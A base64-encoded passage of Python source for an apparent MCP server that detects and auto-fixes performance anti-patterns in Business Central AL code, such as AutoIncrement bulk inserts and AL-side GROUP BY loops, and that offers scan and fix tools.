JbnNlcnQ6CiAgICBfUkUgPSByZS5jb21waWxlKHInQXV0b0luY3JlbWVudFxzKj1ccyp0cnVlJywgcmUuSUdOT1JFQ0FTRSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICByZXR1cm4gX2ZpbmRpbmdzKAogICAgICAgICAgICB0ZXh0LAogICAgICAgICAgICBQYXR0ZXJuQXV0b0luY3JlbWVudEJ1bGtJbnNlcnQuX1JFLAogICAgICAgICAgICBsYW1iZGEgbTogKAogICAgICAgICAgICAgICAgIkF1dG9JbmNyZW1lbnQgPSB0cnVlIHJlcXVpcmVzIFNDT1BFX0lERU5USVRZKCkgcGVyIElOU0VSVCDigJQgcHJldmVudHMgU1FMIGJhdGNoIGluc2VydHMuICIKICAgICAgICAgICAgICAgICJSZW1vdmUgQXV0b0luY3JlbWVudCBhbmQgdXNlIE51bWJlclNlcXVlbmNlLk5leHQoKSBmb3IgUEsgYXNzaWdubWVudC4iCiAgICAgICAgICAgICksCiAgICAgICAgKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgcmV0dXJuIHRleHQgICMgUmVxdWlyZXMgdGFibGUgcmVkZXNpZ24gKyBjb2RlIGNoYW5nZSDigJQgbm8gYXV0by1maXgKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMzgg4oCUIEFMLXNpZGUgR1JPVVAgQlkgYWdncmVnYXRpb24gKEV4IDQzKQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkFMX1NJREVfQUdHUkVHQVRJT04iLAogICAgZ3JvdXA9IkFnZ3JlZ2F0aW9uIiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJBTC1zaWRlIEdST1VQIEJZIGFnZ3JlZ2F0aW9uIOKAlCBwdXNoIHRvIFNRTCB3aXRoIGEgUXVlcnkgb2JqZWN0IiwKICAgIGRlc2NyaXB0aW9uPSgKICAgICAgICAiTWFudWFsIEFMIGFnZ3JlZ2F0aW9uOiBGaW5kU2V0IGZldGNoZXMgQUxMIHJvd3MgaW50byBOU1QsIGFjY3VtdWxhdGVzIHN1bXMgcGVyIGdyb3VwIGluIEFMLiAiCiAgICAgICAgIkZvciAxMDAgMDAwIGVudHJpZXMg4oCUIDEwMCAwMDAgcm93cyB0cmFuc2ZlcnJlZCB0byBOU1QgbWVtb3J5LiAiCiAgICAgICAgIkEgUXVlcnkgb2JqZWN0IHdpdGggTWV0aG9kID0gU3VtIHB1c2hlcyBHUk9VUCBCWSBhbmQgU1VNKCkgdG8gU1FMIFNlcnZlci4gIgogICAgICAgICJTUUwgcmV0dXJucyBvbmx5IE4gcm93cyAob25lIHBlciBncm91cCkg4oCUIDk5IDk5MCByb3dzIG5ldmVyIGxlYXZlIHRoZSBkYXRhYmFzZS5cblxuIgogICAgICAgICJTUUwgSU1QQUNUOiBBTCBsb29wOiAgU0VMRUNUIGFsbCAxMDAgMDAwIHJvd3MsIFNVTSBpbiBOU1QgbWVtb3J5LlxuIgogICAgICAgICJRdWVyeTogICAgIFNFTEVDVCBMb2NhdGlvbiwgU1VNKEFtb3VudCkgR1JPVVAgQlkgTG9jYXRpb24g4oaSIDEwIHJvd3Mgb25seS5cblxuIgogICAgICAgICJCQUQ6ICBpZiBXb3Jrc2hvcERhdGEuRmluZFNldCgpIHRoZW4gcmVwZWF0XG4iCiAgICAgICAgIiAgICAgICAgICBUb3RhbEJ5TG9jYXRpb24uQWRkKFdvcmtzaG9wRGF0YS5cIkxvY2F0aW9uIENvZGVcIiwgV29ya3Nob3BEYXRhLkFtb3VudCk7XG4iCiAgICAgICAgIiAgICAgIHVudGlsIFdvcmtzaG9wRGF0YS5OZXh0KCkgPSAwO1xuIgogICAgICAgICJHT09EOiB2YXIgUmV2ZW51ZVF1ZXJ5OiBRdWVyeSBcIldTIExvY2F0aW9uIFJldmVudWVcIjtcbiIKICAgICAgICAiICAgICAgaWYgUmV2ZW51ZVF1ZXJ5Lk9wZW4oKSB0aGVuXG4iCiAgICAgICAgIiAgICAgICAgICB3aGlsZSBSZXZlbnVlUXVlcnkuUmVhZCgpIGRvXG4iCiAgICAgICAgIiAgICAgICAgICAgICAgUHJvY2Vzc1N1bW1hcnkoUmV2ZW51ZVF1ZXJ5LkxvY2F0aW9uX0NvZGUsIFJldmVudWVRdWVyeS5TdW1fTGluZV9BbW91bnQpO1xuXG4iCiAgICAgICAgIkhJTlQ6IFJ1biB0aGUgbWFudWFsIGxvb3Agb24gNTAgMDAwIHJvd3MuIENoZWNrIFNRTCBQcm9maWxlcjogY291bnQgU0VMRUNUIHJvd3MgcmV0dXJuZWQuICIKICAgICAgICAiVGhlbiBzd2l0Y2ggdG8gdGhlIFF1ZXJ5IHZlcnNpb24uIFByb2ZpbGVyIHNob3dzIDEgcXVlcnkgcmV0dXJuaW5nIG9ubHkgTiByb3dzLiAiCiAgICAgICAgIkR1cmF0aW9uIGRpZmZlcmVuY2UgaXMgZHJhbWF0aWMgYXQgc2NhbGUuIgogICAgKSwKICAgIGV4ZXJjaXNlcz1bNDNdLAopCmNsYXNzIFBhdHRlcm5BbFNpZGVBZ2dyZWdhdGlvbjoKICAgICMgRGV0ZWN0IEZpbmRTZXQgbG9vcCB0aGF0IGFjY3VtdWxhdGVzIGludG8gYSBEaWN0aW9uYXJ5IGJ5IGdyb3VwIGtleQogICAgX1JFID0gcmUuY29tcGlsZSgKICAgICAgICByJ0ZpbmRTZXRccypcKFteKV0qXCkuKj9yZXBlYXQuKj9cLkFkZFxzKlwoJywKICAgICAgICByZS5JR05PUkVDQVNFIHwgcmUuRE9UQUxMLAogICAgKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBkZXRlY3QodGV4dDogc3RyKSAtPiBsaXN0W2RpY3RdOgogICAgICAgIGZpbmRpbmdzID0gW10KICAgICAgICBmb3IgbSBpbiBQYXR0ZXJuQWxTaWRlQWdncmVnYXRpb24uX1JFLmZpbmRpdGVyKHRleHQpOgogICAgICAgICAgICBsaW5lID0gX2ZpbmRfbGluZSh0ZXh0LCBtLnN0YXJ0KCkpCiAgICAgICAgICAgIHNuaXBwZXQgPSB0ZXh0W20uc3RhcnQoKTogbS5zdGFydCgpICsgODBdLnNwbGl0KCdcbicpWzBdLnN0cmlwKCkKICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICJsaW5lIjogbGluZSwKICAgICAgICAgICAgICAgICJtZXNzYWdlIjogKAogICAgICAgICAgICAgICAgICAgICJBTC1zaWRlIEdST1VQIEJZIGFnZ3JlZ2F0aW9uIOKAlCBmZXRjaGVzIGFsbCByb3dzIHRvIE5TVC4gIgogICAgICAgICAgICAgICAgICAgICJVc2UgYSBRdWVyeSBvYmplY3Qgd2l0aCBNZXRob2QgPSBTdW0gdG8gcHVzaCBHUk9VUCBCWSB0byBTUUwgU2VydmVyLiIKICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAic25pcHBldCI6IHNuaXBwZXQsCiAgICAgICAgICAgIH0pCiAgICAgICAgcmV0dXJuIGZpbmRpbmdzCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gdGV4dCAgIyBTdHJ1Y3R1cmFsIGNoYW5nZSByZXF1aXJlZCDigJQgbm8gYXV0by1maXgKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFV0aWxpdHkgaGVscGVycwojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAoKZGVmIF9zY2FuX2ZpbGUocGF0aDogUGF0aCkgLT4gbGlzdFtkaWN0XToKICAgICIiIlJ1biBhbGwgZGV0ZWN0b3JzIG9uIGEgc2luZ2xlIEFMIGZpbGUuIFJldHVybnMgbGlzdCBvZiBmaW5kaW5nIGRpY3RzLiIiIgogICAgdHJ5OgogICAgICAgIHRleHQgPSBwYXRoLnJlYWRfdGV4dChlbmNvZGluZz0ndXRmLTgtc2lnJykKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICByZXR1cm4gW3sicGF0dGVybiI6ICJSRUFEX0VSUk9SIiwgImZpbGUiOiBzdHIocGF0aCksICJsaW5lIjogMCwgInNuaXBwZXQiOiBzdHIoZSksICJtZXNzYWdlIjogIkNvdWxkIG5vdCByZWFkIGZpbGUifV0KCiAgICBmaW5kaW5ncyA9IFtdCiAgICBmb3IgcCBpbiBQQVRURVJOUzoKICAgICAgICBmb3IgZiBpbiBwWyJkZXRlY3RvciJdKHRleHQpOgogICAgICAgICAgICBmaW5kaW5ncy5hcHBlbmQoewogICAgICAgICAgICAgICAgInBhdHRlcm4iOiBwWyJpZCJdLAogICAgICAgICAgICAgICAgInNldmVyaXR5IjogcFsic2V2ZXJpdHkiXSwKICAgICAgICAgICAgICAgICJ0aXRsZSI6IHBbInRpdGxlIl0sCiAgICAgICAgICAgICAgICAiZmlsZSI6IHN0cihwYXRoKSwKICAgICAgICAgICAgICAgICoqZgogICAgICAgICAgICB9KQogICAgcmV0dXJuIGZpbmRpbmdzCgoKZGVmIF9maXhfZmlsZShwYXRoOiBQYXRoKSAtPiB0dXBsZVtzdHIsIGxpc3Rbc3RyXV06CiAgICAiIiJBcHBseSBhbGwgZml4ZXJzIHRvIGEgc2luZ2xlIEFMIGZpbGUuIFJldHVybnMgKG5ld190ZXh0LCBsaXN0X29mX2FwcGxpZWRfZml4ZXMpLiIiIgogICAgdHJ5OgogICAgICAgIHRleHQgPSBwYXRoLnJlYWRfdGV4dChlbmNvZGluZz0ndXRmLTgtc2lnJykKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICByZXR1cm4gIiIsIFtmIlJFQURfRVJST1I6IHtlfSJdCgogICAgYXBwbGllZCA9IFtdCiAgICBvcmlnaW5hbCA9IHRleHQKICAgIGZvciBwIGluIFBBVFRFUk5TOgogICAgICAgIG5ld190ZXh0ID0gcFsiZml4ZXIiXSh0ZXh0KQogICAgICAgIGlmIG5ld190ZXh0ICE9IHRleHQ6CiAgICAgICAgICAgIGFwcGxpZWQuYXBwZW5kKHBbImlkIl0pCiAgICAgICAgICAgIHRleHQgPSBuZXdfdGV4dAoKICAgIHJldHVybiB0ZXh0LCBhcHBsaWVkCgoKZGVmIF9hbF9maWxlcyhmb2xkZXI6IFBhdGgpIC0+IGxpc3RbUGF0aF06CiAgICByZXR1cm4gc29ydGVkKGZvbGRlci5yZ2xvYigiKi5hbCIpKQoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgTUNQIFRvb2xzCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACgpAbWNwLnRvb2woKQpkZWYgbGlzdF9wYXR0ZXJucygpIC0+IHN0cjoKICAgICIiIgogICAgTGlzdCBhbGwga25vd24gQUwgcGVyZm9ybWFuY2UgYW50aS1wYXR0ZXJucyB3aXRoIElEcywgc2V2ZXJpdHksIGFuZCBzaG9ydCBkZXNjcmlwdGlvbnMuCiAgICBVc2UgdGhpcyB0byB1bmRlcnN0YW5kIHdoYXQgdGhlIGFuYWx5emVyIGNhbiBkZXRlY3QgYmVmb3JlIHJ1bm5pbmcgYSBzY2FuLgogICAgIiIiCiAgICBsaW5lcyA9IFsiIyBBTCBQZXJmb3JtYW5jZSBQYXR0ZXJuc1xuIl0KICAgIGdyb3VwczogZGljdFtzdHIsIGxpc3RdID0ge30KICAgIGZvciBwIGluIFBBVFRFUk5TOgogICAgICAgIGdyb3Vwcy5zZXRkZWZhdWx0KHBbImdyb3VwIl0sIFtdKS5hcHBlbmQocCkKCiAgICBmb3IgZ3JvdXAsIGl0ZW1zIGluIHNvcnRlZChncm91cHMuaXRlbXMoKSk6CiAgICAgICAgbGluZXMuYXBwZW5kKGYiXG4jIyB7Z3JvdXB9XG4iKQogICAgICAgIGZvciBwIGluIGl0ZW1zOgogICAgICAgICAgICBsaW5lcy5hcHBlbmQoZiItICoqW3twWydzZXZlcml0eSddfV0qKiBge3BbJ2lkJ119YCAgXG4gIHtwWyd0aXRsZSddfSAgXG4gIEV4ZXJjaXNlczoge3BbJ2V4ZXJjaXNlcyddfVxuIikKCiAgICByZXR1cm4gIlxuIi5qb2luKGxpbmVzKQoKCkBtY3AudG9vbCgpCmRlZiBleHBsYWluX3BhdHRlcm4ocGF0dGVybl9pZDogc3RyKSAtPiBzdHI6CiAgICAiIiIKICAgIEdldCBhIGZ1bGwgZXhwbGFuYXRpb24gb2YgYSBzcGVjaWZpYyBwZXJmb3JtYW5jZSBwYXR0ZXJuIGluY2x1ZGluZyBleGFtcGxlcyBhbmQgdGhlIGZpeC4KCiAgICBBcmdzOgogICAgICAgIHBhdHRlcm5faWQ6IFRoZSBwYXR0ZXJuIElEIChlLmcuICdNSVNTSU5HX1NFVExPQURGSUVMRFMnKS4gVXNlIGxpc3RfcGF0dGVybnMoKSB0byBzZWUgYWxsIElEcy4KICAgICIiIgogICAgZm9yIHAgaW4gUEFUVEVSTlM6CiAgICAgICAgaWYgcFsiaWQiXS51cHBlcigpID09IHBhdHRlcm5faWQudXBwZXIoKToKICAgICAgICAgICAgcmV0dXJuICgKICAgICAgICAgICAgICAgIGYiIyB7cFsndGl0bGUnXX1cblxuIgogICAgICAgICAgICAgICAgZiIqKklEOioqIGB7cFsnaWQnXX1gICBcbiIKICAgICAgICAgICAgICAgIGYiKipTZXZlcml0eToqKiB7cFsnc2V2ZXJpdHknXX0gIFxuIgogICAgICAgICAgICAgICAgZiIqKkNhdGVnb3J5OioqIHtwWydncm91cCddfSAgXG4iCiAgICAgICAgICAgICAgICBmIioqV29ya3Nob3AgRXhlcmNpc2VzOioqIHtwWydleGVyY2lzZXMnXX1cblxuIgogICAgICAgICAgICAgICAgZiJ7cFsnZGVzY3JpcHRpb24nXX0iCiAgICAgICAgICAgICkKICAgIGlkcyA9ICIsICIuam9pbihwWyJpZCJdIGZvciBwIGluIFBBVFRFUk5TKQogICAgcmV0dXJuIGYiUGF0dGVybiAne3BhdHRlcm5faWR9JyBub3QgZm91bmQuIEtub3duIElEczoge2lkc30iCgoKQG1jcC50b29sKCkKZGVmIHNjYW5fYWxfd29ya3NwYWNlKAogICAgZm9sZGVyX3BhdGg6IHN0ciwKICAgIHNldmVyaXR5X2ZpbHRlcjogc3RyID0gIkFMTCIsCiAgICBncm91cF9maWx0ZXI6IHN0ciA9ICJBTEwiLAopIC0+IHN0cjoKICAgICIiIgogICAgU2NhbiBhbGwgQUwgZmlsZXMgaW4gYSBmb2xkZXIgKHJlY3Vyc2l2ZWx5KSBmb3IgcGVyZm9ybWFuY2UgYW50aS1wYXR0ZXJucy4KICAgIFJldHVybnMgYSBzdHJ1Y3R1cmVkIHJlcG9ydCBvZiBmaW5kaW5ncyBncm91cGVkIGJ5IGZpbGUuCgogICAgQXJnczoKICAgICAgICBmb2xkZXJfcGF0aDogQWJzb2x1dGUgcGF0aCB0byB0aGUgZm9sZGVyIGNvbnRhaW5pbmcgQUwgc291cmNlIGZpbGVzLgogICAgICAgIHNldmVyaXR5X2ZpbHRlcjogRmlsdGVyIGJ5IHNldmVyaXR5OiBISUdILCBNRURJVU0sIExPVywgb3IgQUxMIChkZWZhdWx0IEFMTCkuCiAgICAgICAgZ3JvdXBfZmlsdGVyOiBGaWx0ZXIgYnkgcGF0dGVybiBncm91cCBuYW1lIG9yIEFMTCAoZGVmYXVsdCBBTEwpLgogICAgIiIiCiAgICBmb2xkZXIgPSBQYXRoKGZvbGRlcl9wYXRoKQogICAgaWYgbm90IGZvbGRlci5leGlzdHMoKToKICAgICAgICByZXR1cm4gZiJFUlJPUjogRm9sZGVyIG5vdCBmb3VuZDoge2ZvbGRlcl9wYXRofSIKCiAgICBmaWxlcyA9IF9hbF9maWxlcyhmb2xkZXIpCiAgICBpZiBub3QgZmlsZXM6CiAgICAgICAgcmV0dXJuIGYiTm8gLmFsIGZpbGVzIGZvdW5kIGluIHtmb2xkZXJfcGF0aH0iCgogICAgYWxsX2ZpbmRpbmdzOiBsaXN0W2RpY3RdID0gW10KICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgIGFsbF9maW5kaW5ncy5leHRlbmQoX3NjYW5fZmlsZShmKSkKCiAgICAjIEFwcGx5IGZpbHRlcnMKICAgIGlmIHNldmVyaXR5X2ZpbHRlci51cHBlcigpICE9ICJBTEwiOgogICAgICAgIGFsbF9maW5kaW5ncyA9IFtmIGZvciBmIGluIGFsbF9maW5kaW5ncyBpZiBmWyJzZXZlcml0eSJdLnVwcGVyKCkgPT0gc2V2ZXJpdHlfZmlsdGVyLnVwcGVyKCldCiAgICBpZiBncm91cF9maWx0ZXIudXBwZXIoKSAhPSAiQUxMIjoKICAgICAgICBhbGxfZmluZGluZ3MgPSBbZiBmb3IgZiBpbiBhbGxfZmluZGluZ3MgaWYKICAgICAgICAgICAgICAgICAgICAgICAgYW55KHBbImdyb3VwIl0udXBwZXIoKSA9PSBncm91cF9maWx0ZXIudXBwZXIoKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yIHAgaW4gUEFUVEVSTlMgaWYgcFsiaWQiXSA9PSBmWyJwYXR0ZXJuIl0pXQoKICAgIGlmIG5vdCBhbGxfZmluZGluZ3M6CiAgICAgICAgcmV0dXJuIGYi4pyFIE5vIGlzc3VlcyBmb3VuZCAoe2xlbihmaWxlcyl9IGZpbGVzIHNjYW5uZWQpLiIKCiAgICAjIEdyb3VwIGJ5IGZpbGUKICAgIGJ5X2ZpbGU6IGRpY3Rbc3RyLCBsaXN0XSA9IHt9CiAgICBmb3IgZiBpbiBhbGxfZmluZGluZ3M6CiAgICAgICAgYnlfZmlsZS5zZXRkZWZhdWx0KGZbImZpbGUiXSwgW10pLmFwcGVuZChmKQoKICAgIHNldmVyaXR5X29yZGVyID0geyJISUdIIjogMCwgIk1FRElVTSI6IDEsICJMT1ciOiAyfQogICAgdG90YWwgPSBsZW4oYWxsX2ZpbmRpbmdzKQogICAgaGlnaCA9IHN1bSgxIGZvciBmIGluIGFsbF9maW5kaW5ncyBpZiBmWyJzZXZlcml0eSJdID09ICJISUdIIikKICAgIG1lZGl1bSA9IHN1bSgxIGZvciBmIGluIGFsbF9maW5kaW5ncyBpZiBmWyJzZXZlcml0eSJdID09ICJNRURJVU0iKQogICAgbG93ID0gc3VtKDEgZm9yIGYgaW4gYWxsX2ZpbmRpbmdzIGlmIGZbInNldmVyaXR5Il0gPT0gIkxPVyIpCgogICAgbGluZXMgPSBbCiAgICAgICAgZiIjIEFMIFBlcmZvcm1hbmNlIFNjYW4gUmVzdWx0c1xuIiwKICAgICAgICBmIioqRm9sZGVyOioqIGB7Zm9sZGVyX3BhdGh9YCAgIiwKICAgICAgICBmIioqRmlsZXMgc2Nhbm5lZDoqKiB7bGVuKGZpbGVzKX0gICIsCiAgICAgICAgZiIqKklzc3VlcyBmb3VuZDoqKiB7dG90YWx9ICh7aGlnaH0gSElHSCwge21lZGl1bX0gTUVESVVNLCB7bG93fSBMT1cpXG4iLAogICAgXQoKICAgIGZvciBmaWxlcGF0aCwgZmluZGluZ3MgaW4gc29ydGVkKGJ5X2ZpbGUuaXRlbXMoKSk6CiAgICAgICAgcmVsID0gUGF0aChmaWxlcGF0aCkucmVsYXRpdmVfdG8oZm9sZGVyKSBpZiBQYXRoKGZpbGVwYXRoKS5pc19yZWxhdGl2ZV90byhmb2xkZXIpIGVsc2UgUGF0aChmaWxlcGF0aCkubmFtZQogICAgICAgIGxpbmVzLmFwcGVuZChmIlxuIyMgYHtyZWx9YFxuIikKICAgICAgICBmaW5kaW5nc19zb3J0ZWQgPSBzb3J0ZWQoZmluZGluZ3MsIGtleT1sYW1iZGEgeDogc2V2ZXJpdHlfb3JkZXIuZ2V0KHhbInNldmVyaXR5Il0sIDkpKQogICAgICAgIGZvciBmIGluIGZpbmRpbmdzX3NvcnRlZDoKICAgICAgICAgICAgc2V2X2ljb24gPSB7IkhJR0giOiAi8J+UtCIsICJNRURJVU0iOiAi8J+foSIsICJMT1ciOiAi8J+UtSJ9LmdldChmWyJzZXZlcml0eSJdLCAi4pqqIikKICAgICAgICAgICAgbGluZXMuYXBwZW5kKGYiLSB7c2V2X2ljb259ICoqTHtmWydsaW5lJ119KiogYHtmWydwYXR0ZXJuJ119YDoge2ZbJ21lc3NhZ2UnXX0iKQogICAgICAgICAgICBpZiBmLmdldCgic25pcHBldCIpOgogICAgICAgICAgICAgICAgbGluZXMuYXBwZW5kKGYiICBgYGBhbFxuICB7Zlsnc25pcHBldCddfVxuICBgYGAiKQoKICAgIHJldHVybiAiXG4iLmpvaW4obGluZXMpCgoKQG1jcC50b29sKCkKZGVmIGZpeF9hbF9maWxlKAogICAgZmlsZV9wYXRoOiBzdHIsCiAgICBkcnlfcnVuOiBib29sID0gVHJ1ZSwKKSAtPiBzdHI6CiAgICAiIiIKICAgIEFwcGx5IGFsbCBhdmFpbGFibGUgYXV0b21hdGljIGZpeGVzIHRvIGEgc2luZ2xlIEFMIGZpbGUuCgogICAgQXJnczoKICAgICAgICBmaWxlX3BhdGg6IEFic29sdXRlIHBhdGggdG8gdGhlIC5hbCBmaWxlIHRvIGZpeC4KICAgICAgICBkcnlfcnVuOiBJZiBUcnVlIChkZWZhdWx0KSwgc2hvdyB3aGF0IHdvdWxkIGNoYW5nZSB3aXRob3V0IHdyaXRpbmcuIFNldCBGYWxzZSB0byB3cml0ZS4KICAgICIiIgogICAgcGF0aCA9IFBhdGgoZmlsZV9wYXRoKQogICAgaWYgbm90IHBhdGguZXhpc3RzKCk6CiAgICAgICAgcmV0dXJuIGYiRVJST1I6IEZpbGUgbm90IGZvdW5kOiB7ZmlsZV9wYXRofSIKCiAgICBvcmlnaW5hbCA9IHBhdGgucmVhZF90ZXh0KGVuY29kaW5nPSd1dGYtOC1zaWcnKQogICAgbmV3X3RleHQsIGFwcGxpZWQgPSBfZml4X2ZpbGUocGF0aCkKCiAgICBpZiBub3QgYXBwbGllZDoKICAgICAgICByZXR1cm4gZiLinIUgTm8gYXV0b21hdGljIGZpeGVzIGFwcGxpY2FibGUgdG8gYHtwYXRoLm5hbWV9YC4iCgogICAgbGluZXMgPSBbZiIjIEZpeCBSZXBvcnQ6IGB7cGF0aC5uYW1lfWBcbiJdCiAgICBsaW5lcy5hcHBlbmQoZiIqKkZpeGVzIGFwcGxpZWQ6KiogeycsICcuam9pbihhcHBsaWVkKX1cbiIpCgogICAgaWYgZHJ5X3J1bjoKICAgICAgICBsaW5lcy5hcHBlbmQoIioqTW9kZToqKiBEUlkgUlVOIOKAlCBubyBmaWxlIHdyaXR0ZW4uIFNldCBkcnlfcnVuPUZhbHNlIHRvIGFwcGx5LlxuIikKICAgICAgICAjIFNob3cgZGlmZiBzdW1tYXJ5CiAgICAgICAgb3JpZ19saW5lcyA9IG9yaWdpbmFsLnNwbGl0bGluZXMoKQogICAgICAgIG5ld19saW5lcyA9IG5ld190ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGNoYW5nZXMgPSAwCiAgICAgICAgZm9yIGksIChvLCBuKSBpbiBlbnVtZXJhdGUoemlwKG9yaWdfbGluZXMsIG5ld19saW5lcykpOgogICAgICAgICAgICBpZiBvICE9IG46CiAgICAgICAgICAgICAgICBsaW5lcy5hcHBlbmQoZiJMe2krMX06IGB7by5zdHJpcCgpfWAg4oaSIGB7bi5zdHJpcCgpfWAiKQogICAgICAgICAgICAgICAgY2hhbmdlcyArPSAxCiAgICAgICAgICAgICAgICBpZiBjaGFuZ2VzID49IDIwOgogICAgICAgICAgICAgICAgICAgIGxpbmVzLmFwcGVuZChmIi4uLiAoYW5kIG1vcmUpIikKICAgICAgICAgICAgICAgICAgICBicmVhawogICAgZWxzZToKICAgICAgICBwYXRoLndyaXRlX3RleHQobmV3X3RleHQsIGVuY29kaW5nPSd1dGYtOC1zaWcnKQogICAgICAgIGxpbmVzLmFwcGVuZChmIuKchSBGaWxlIHdyaXR0ZW46IGB7ZmlsZV9wYXRofWAiKQoKICAgIHJldHVybiAiXG4iLmpvaW4obGluZXMpCgoKQG1jcC50b29sKCkKZGVmIGZpeF9hbF93b3Jrc3BhY2UoCiAgICBmb2xkZXJfcGF0aDogc3RyLAogICAgZHJ5X3J1bjogYm9vbCA9IFRydWUsCikgLT4gc3RyOgogICAgIiIiCiAgICBBcHBseSBhbGwgYXZhaWxhYmxlIGF1dG9tYXRpYyBmaXhlcyB0byBldmVyeSBBTCBmaWxlIGluIGEgZm9sZGVyIChyZWN1cnNpdmVseSkuCgogICAgQXJnczoKICAgICAgICBmb2xkZXJfcGF0aDogQWJzb2x1dGUgcGF0aCB0byB0aGUgZm9sZGVyIGNvbnRhaW5pbmcgQUwgc291cmNlIGZpbGVzLgogICAgICAgIGRyeV9ydW46IElmIFRydWUgKGRlZmF1bHQpLCBzaG93IHdoYXQgd291bGQgY2hhbmdlIHdpdGhvdXQgd3JpdGluZy4gU2V0IEZhbHNlIHRvIHdyaXRlLgogICAgIiIiCiAgICBmb2xkZXIgPSBQYXRoKGZvbGRlcl9wYXRoKQogICAgaWYgbm90IGZvbGRlci5leGlzdHMoKToKICAgICAgICByZXR1cm4gZiJFUlJPUjogRm9sZGVyIG5vdCBmb3VuZDoge2ZvbGRlcl9wYXRofSIKCiAgICBmaWxlcyA9IF9hbF9maWxlcyhmb2xkZXIpCiAgICBpZiBub3QgZmlsZXM6CiAgICAgICAgcmV0dXJuIGYiTm8gLmFsIGZpbGVzIGZvdW5kIGluIHtmb2xkZXJfcGF0aH0iCgogICAgcmVzdWx0cyA9IFtdCiAgICB0b3RhbF9maXhlcyA9IDAKICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgIG9yaWdpbmFsID0gZi5yZWFkX3RleHQoZW5jb2Rpbmc9J3V0Zi04LXNpZycpCiAgICAgICAgbmV3X3RleHQsIGFwcGxpZWQgPSBfZml4X2ZpbGUoZikKICAgICAgICBpZiBhcHBsaWVkOgogICAgICAgICAgICB0b3RhbF9maXhlcyArPSBsZW4oYXBwbGllZCkKICAgICAgICAgICAgcmVzdWx0cy5hcHBlbmQoKGYsIGFwcGxpZWQsIG9yaWdpbmFsICE9IG5ld190ZXh0KSkKICAgICAgICAgICAgaWYgbm90IGRyeV9ydW4gYW5kIG9yaWdpbmFsICE9IG5ld190ZXh0OgogICAgICAgICAgICAgICAgZi53cml0ZV90ZXh0KG5ld190ZXh0LCBlbmNvZGlu